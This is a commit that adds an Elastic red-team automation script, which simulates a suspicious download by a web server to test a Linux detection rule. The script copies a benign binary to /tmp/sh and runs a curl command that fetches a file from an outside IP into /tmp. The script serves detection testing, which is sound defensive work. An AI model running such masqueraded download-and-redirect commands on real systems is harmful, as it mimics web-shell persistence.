Sync RTA Suspicious Download and Redirect by Web Server (#4194)

Co-authored-by: shashank-elastic <91139415+shashank-elastic@users.noreply.github.com>

rta/linux_persistence_webserver_curl_wget_suspicious_redirect.py

@@ -0,0 +1,40 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+import sys
+from . import RtaMetadata, common
+
+metadata = RtaMetadata(
+    uuid="a153dec0-914a-4a03-8b6c-a24e55b6f16a",
+    platforms=["linux"],
+    endpoint=[
+        {
+            "rule_name": "Suspicious Download and Redirect by Web Server",
+            "rule_id": "fa71e336-0177-4732-b58b-53eb4a87a286",
+        },
+    ],
+    techniques=["T1505", "T1059", "T1071"],
+)
+
+
+@common.requires_os(*metadata.platforms)
+def main() -> None:
+    common.log("Creating a fake executable..")
+    masquerade = "/tmp/sh"
+
+    source = common.get_path("bin", "linux.ditto_and_spawn")
+    common.copy_file(source, masquerade)
+    common.log("Granting execute permissions...")
+    common.execute(["chmod", "+x", masquerade])
+
+    commands = [masquerade, '-c', 'curl http://8.8.8.8:53/foo > /tmp/foo && xxd']
+    common.execute([*commands], timeout=5, kill=True)
+    common.log("Cleaning...")
+    common.remove_file(masquerade)
+    common.log("Simulation successfull!")
+
+
+if __name__ == "__main__":
+    sys.exit(main())